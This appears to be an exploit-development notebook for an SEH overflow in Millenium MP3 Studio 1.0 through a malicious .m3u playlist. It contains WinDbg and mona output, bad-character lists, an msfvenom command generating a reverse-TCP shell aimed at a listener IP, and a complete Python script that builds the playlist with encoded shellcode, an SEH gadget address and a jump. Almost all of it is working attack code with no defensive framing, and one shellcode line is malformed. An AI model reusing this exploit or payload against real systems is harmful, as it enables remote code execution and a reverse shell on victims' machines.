

Millenium MP3

seh exploit with some twists

Windbg/mona notes

```

0:000> r
eax=00185748 ebx=00185748 ecx=00000000 edx=46376846 esi=0018471c
edi=0623c00c
eip=00403734 esp=00184708 ebp=0018577c iopl=0          nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00210202
MP3Studio+0x3734:
00403734 8b4af8          mov     ecx,dword ptr [edx-8]
ds:002b:4637683e=????????

> da poi(fs:[0])
00185730 "Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6"

> !exchain
00185730: 68463068
Invalid exception stack at 46396746

0:000> db esp L30
00184708 30 38 40 00 48 57 18 00-00 00 00 00 c4 72 81 00 08@.HW.....r..
00184718 0b f8 42 00 31 09 68 74-74 70 3a 2f 2f 41 61 30 ..B.l.http://Aa0
00184728 41 61 31 41 61 32 41 61-33 41 61 34 41 61 35 41 Aa1Aa2Aa3Aa4Aa5A

C:\_c\exploits>python pattern.py "Fg9F"
Pattern Fg9F first occurrence at position 4107 in pattern.

.load pykd.pyd
!py mona seh -cp nonull

0x003f0000 | 0x003f9000 | 0x00009000 | True  | False  | False  | False
| False  | 1.2.0.0 [xoutput.dll] (C:\mp3-millennium\xoutput.dll)
0x76470000 | 0x76497000 | 0x00027000 | False | True   | True   | True
| True   | 6.1.7601.17621 [CFGMR32.dll] (C:\Windows\syswow64\CFGMR32.dll)
0x00400000 | 0x005b7000 | 0x001b7000 | False | False  | False  | False
| False  | -1.0- [MP3Studio.exe] (C:\mp3-millennium\MP3Studio.exe)
...
0x75320000 | 0x75410000 | 0x000f0000 | False | True   | True   | True
| True   | 6.1.7601.23915 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dll)
0x72860000 | 0x7286f000 | 0x0000f000 | False | True   | True   | True
| True   | 6.1.7601.17514 [wkscli.dll] (C:\Windows\SysWOW64\wkscli.dll)
0x729b0000 | 0x729b8000 | 0x00008000 | False | True   | True   | True

```

```
| True | 6.1.7600.16385 [DAVHLPR.dll] (C:\Windows\SysWOW64\DAVHLPR.dll)
0x75420000 | 0x75480000 | 0x00060000 | False | True | True | True
| True | 6.1.7601.17514 [IMM32.DLL] (C:\Windows\SysWOW64\IMM32.DLL)
0x10000000 | 0x10044000 | 0x00044000 | False | False | False | False
| False | 3.0.7.0 [xaudio.dll] (C:\mp3-millennium\xaudio.dll)
```

```
0x10014e98 | 0x10014e98 : pop esi # pop ecx # ret | {PAGE_EXECUTE_READ}
[xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0
(C:\mp3-millennium\xaudio.dll)
```

```
0:000> dp fs:[0]
0053:00000000 00185e7c 00190000 00184000 00000000
0053:00000010 00001e00 00000000 7efdd000 00000000
0053:00000020 00000090 00000fd8 00000000 00752ee0
0053:00000030 7efde000 00000003 00000000 00000000
0053:00000040 00000000 00000000 00000000 00000000
0053:00000050 00000000 00000000 00000000 00000000
0053:00000060 00000000 00000000 00000000 00000000
0053:00000070 00000000 00000000 00000000 00000000
0:000> dp 00185e7c
00185e7c 10014398 42424242 42424242 42424242
00185e8c 42424242 42424242 00000000 42424242
00185e9c 42424242 42424242 42424242 42424242
00185eac 42424242 42424242 42424242 42424242
00185ebc 42424242 42424242 42424242 42424242
00185ecc 42424242 42424242 42424242 42424242
00185edc 42424242 42424242 42424242 42424242
```

Exploit code

[milleniump3.py](#)

```
#!/usr/bin/python
#Millenium MP3 1.0

path = "C:\mp3-millennium\exploit.m3u"

pattern =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2A
c3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6
Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3A
j4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7
Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao
1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4A
q5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8
```

As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av
2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5A
x6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9
Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc
3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6B
e7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0
Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj
4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7B
l8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1
Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq
5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8B
s9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2
Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx
6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9C
a0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3
Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce
7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0C
h1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4
Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl
8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1C
o2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5
Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs
9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2C
v3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6
Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da
0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3D
c4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7
De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh
1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4D
j5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8
Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do
2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5D
q6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9
Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv
3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6D
x7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0
Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec
4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7E
e8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1
Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej
5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8E
l9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2
Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq
6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9E
t0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3
Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex
7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0F
a1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4
Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe
8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1F
h2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5

```
Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
```

```
#badchars =  
" | \x01 | \x02 | \x03 | \x04 | \x05 | \x06 | \x07 | \x08 | \x09 | \x0a | \x0b | \x0c | \x0d | \x0e | \x0f | \x10 | \x11 | \x12 | \x13 | \x14 | \x15 | \x16 | \x17 | \x18 | \x19 | \x1a | \x1b | \x1c | \x1d | \x1e | \x1f | \x20 | \x21 | \x22 | \x23 | \x24 | \x25 | \x26 | \x27 | \x28 | \x29 | \x2a | \x2b | \x2c | \x2d | \x2e | \x2f | \x30 | \x31 | \x32 | \x33 | \x34 | \x35 | \x36 | \x37 | \x38 | \x39 | \x3a | \x3b | \x3c | \x3d | \x3e | \x3f | \x40 | \x41 | \x42 | \x43 | \x44 | \x45 | \x46 | \x47 | \x48 | \x49 | \x4a | \x4b | \x4c | \x4d | \x4e | \x4f | \x50 | \x51 | \x52 | \x53 | \x54 | \x55 | \x56 | \x57 | \x58 | \x59 | \x5a | \x5b | \x5c | \x5d | \x5e | \x5f | \x60 | \x61 | \x62 | \x63 | \x64 | \x65 | \x66 | \x67 | \x68 | \x69 | \x6a | \x6b | \x6c | \x6d | \x6e | \x6f | \x70 | \x71 | \x72 | \x73 | \x74 | \x75 | \x76 | \x77 | \x78 | \x79 | \x7a | \x7b | \x7c | \x7d | \x7e | \x7f | \x80 | \x81 | \x82 | \x83 | \x84 | \x85 | \x86 | \x87 | \x88 | \x89 | \x8a | \x8b | \x8c | \x8d | \x8e | \x8f | \x90 | \x91 | \x92 | \x93 | \x94 | \x95 | \x96 | \x97 | \x98 | \x99 | \x9a | \x9b | \x9c | \x9d | \x9e | \x9f | \xa0 | \xa1 | \xa2 | \xa3 | \xa4 | \xa5 | \xa6 | \xa7 | \xa8 | \xa9 | \xaa | \xab | \xac | \xad | \xae | \xaf | \xb0 | \xb1 | \xb2 | \xb3 | \xb4 | \xb5 | \xb6 | \xb7 | \xb8 | \xb9 | \xba | \xbb | \xbc | \xbd | \xbe | \xbf | \xc0 | \xc1 | \xc2 | \xc3 | \xc4 | \xc5 | \xc6 | \xc7 | \xc8 | \xc9 | \xca | \xcb | \xcc | \xcd | \xce | \xcf | \xd0 | \xd1 | \xd2 | \xd3 | \xd4 | \xd5 | \xd6 | \xd7 | \xd8 | \xd9 | \xda | \xdb | \xdc | \xdd | \xde | \xdf | \xe0 | \xe1 | \xe2 | \xe3 | \xe4 | \xe5 | \xe6 | \xe7 | \xe8 | \xe9 | \xea | \xeb | \xec | \xed | \xee | \xef | \xf0 | \xf1 | \xf2 | \xf3 | \xf4 | \xf5 | \xf6 | \xf7 | \xf8 | \xf9 | \xfa | \xfb | \xfc | \xfd | \xfe | \xff"
```

```
badchars =  
" | \x01 | \x02 | \x03 | \x04 | \x05 | \x06 | \x07 | \x08 | \x09 | \x0b | \x0c | \x0e | \x0f | \x10 | \x11 | \x12 | \x13 | \x14 | \x15 | \x16 | \x17 | \x18 | \x19 | \x1b | \x1c | \x1d | \x1e | \x1f | \x20 | \x21 | \x22 | \x23 | \x24 | \x25 | \x26 | \x27 | \x28 | \x29 | \x2a | \x2b | \x2c | \x2d | \x2e | \x2f | \x30 | \x31 | \x32 | \x33 | \x34 | \x35 | \x36 | \x37 | \x38 | \x39 | \x3a | \x3b | \x3c | \x3d | \x3e | \x3f | \x40 | \x41 | \x42 | \x43 | \x44 | \x45 | \x46 | \x47 | \x48 | \x49 | \x4a | \x4b | \x4c | \x4d | \x4e | \x4f | \x50 | \x51 | \x52 | \x53 | \x54 | \x55 | \x56 | \x57 | \x58 | \x59 | \x5a | \x5b | \x5c | \x5d | \x5e | \x5f | \x60 | \x61 | \x62 | \x63 | \x64 | \x65 | \x66 | \x67 | \x68 | \x69 | \x6a | \x6b | \x6c | \x6d | \x6e | \x6f | \x70 | \x71 | \x72 | \x73 | \x74 | \x75 | \x76 | \x77 | \x78 | \x79 | \x7a | \x7b | \x7c | \x7d | \x7e | \x7f | \x80 | \x81 | \x82 | \x83 | \x84 | \x85 | \x86 | \x87 | \x88 | \x89 | \x8a | \x8b | \x8c | \x8d | \x8e | \x8f | \x90 | \x91 | \x92 | \x93 | \x94 | \x95 | \x96 | \x97 | \x98 | \x99 | \x9a | \x9b | \x9c | \x9d | \x9e | \x9f | \xa0 | \xa1 | \xa2 | \xa3 | \xa4 | \xa5 | \xa6 | \xa7 | \xa8 | \xa9 | \xaa | \xab | \xac | \xad | \xae | \xaf | \xb0 | \xb1 | \xb2 | \xb3 | \xb4 | \xb5 | \xb6 | \xb7 | \xb8 | \xb9 | \xba | \xbb | \xbc | \xbd | \xbe | \xbf | \xc0 | \xc1 | \xc2 | \xc3 | \xc4 | \xc5 | \xc6 | \xc7 | \xc8 | \xc9 | \xca | \xcb | \xcc | \xcd | \xce | \xcf | \xd0 | \xd1 | \xd2 | \xd3 | \xd4 | \xd5 | \xd6 | \xd7 | \xd8 | \xd9 | \xda | \xdb | \xdc | \xdd | \xde | \xdf | \xe0 | \xe1 | \xe2 | \xe3 | \xe4 | \xe5 | \xe6 | \xe7 | \xe8 | \xe9 | \xea | \xeb | \xec | \xed | \xee | \xef | \xf0 | \xf1 | \xf2 | \xf3 | \xf4 | \xf5 | \xf6 | \xf7 | \xf8 | \xf9 | \xfa | \xfb | \xfc | \xfd | \xfe | \xff"
```

```
# msfvenom -p windows/shell_reverse_tcp lhost=10.22.1.101 lport=4001  
EXITFUNC=seh -b '| \x00 | \x0d | \x0a | \x1a' -f python -e x86/shikata_ga_nai
```

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```

buf = ""
buf += "\xd9\xce\xbe\x2e\xfa\x90\xa0\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x52\x83\xc0\x04\x31\x70\x13\x03\x5e\xe9\x72"
buf += "\x55\x62\xe5\xf1\x96\x9a\xf6\x95\x1f\x7f\xc7\x95\x44"
buf += "\xf4\x78\x26\x0e\x58\x75xcd\x42\x48\x0e\xa3\x4a\xf7"
buf += "\xa7\x0e\xad\x4e\x38\x22\x8d\xd1\xba\x39\xc2\x31\x82"
buf += "\xf1\x17\x30\xc3\xec\xda\x60\x9c\x7b\x48\x94\xa9\x36"
buf += "\x51\x1f\xe1\xd7\xd1\xfc\xb2\xd6\xf0\x53\xc8\x80\xd2"
buf += "\x52\x1d\xb9\x5a\x4c\x42\x84\x15\xe7\xb0\x72\xa4\x21"
buf += "\x89\x7b\x0b\x0c\x25\x8e\x55\x49\x82\x71\x20\xa3\xf0"
buf += "\x0c\x33\x70\x8a\xca\xb6\x62\x2c\x98\x61\x4e\xcc\x4d"
buf += "\xf7\x05\xc2\x3a\x73\x41\xc7\xbd\x50\xfa\xf3\x36\x57"
buf += "\x2c\x72\x0c\x7c\xe8\xde\xd6\x1d\xa9\xba\xb9\x22\xa9"
buf += "\x64\x65\x87\xa2\x89\x72\xba\xe9\xc5\xb7\xf7\x11\x16"
buf += "\xd0\x80\x62\x24\x7f\x3b\xec\x04\x08\xe5\xeb\x6b\x23"
buf += "\x51\x63\x92\xcc\xa2\xaa\x51\x98\xf2\xc4\x70\xa1\x98"
buf += "\x14\x7c\x74\x0e\x44\xd2\x27\xef\x34\x92\x97\x87\x5e"
buf += "\x1d\xc7\xb8\x61\xf7\x60\x52\x98\x90\x84\xb5\xa3\x05"
buf += "\xf1\xbb\xa3\xca\xa0\x35\x45\xbe\xb2\x13\xde\x57\x2a"
buf += "\x3e\x94\xc6\xb3\x94\xd1\xc9\x38\x1b\x26\x87\xc8\x56"
buf += "\x34\x70\x39\x2d\x66\xd7\x46\x9b\x0e\xbb\xd5\x40\xce"
buf += "\xb2\xc5\xde\x99\x93\x38\x17\x4f\x0e\x62\x81\x6d\xd3"
buf += "\xf2\xea\x35\x08\xc7\xf5\xb4\xdd\x73\xd2\xa6\x1b\x7b"
buf += "\x5e\x92\xf3\x2a\x08\x4c\xb2\x84\xfa\x26\x6c\x7a\x55"
buf += "\xae\xe9\xb0\x66\xa8\xf5\x9c\x10\x54\x47\x49\x65\x6b"
buf += "\x68\x1d\x61\x14\x94\xbd\x8e\xcf\x1c\xc3\x7f\xdd\x88"
buf += "\x54\x26\xb4\xf0\x38\xd9\x63\x36\x45\x5a\x81\xc7\xb2"
buf += "\x42\xe0\xc2\xff\xc4\x19\xbf\x90\xa0\x1d\x6c\x90\xe0"

```

shellcode = buf

```

buffer = "http://"
buffer += 'A'*4103
#buffer+= "\xcc\xcc\xcc\xcc" # break points
buffer += "\x90\x90\xeb\x1c" # jmp 06
buffer += "\x98\x4e\x01\x10" # address of pop pop ret
buffer += "\x90"*30
buffer += shellcode

```

buffer += 'B' * (5000 - len(buffer))

```

f = open(path, "w")
f.write(buffer)
f.close()

```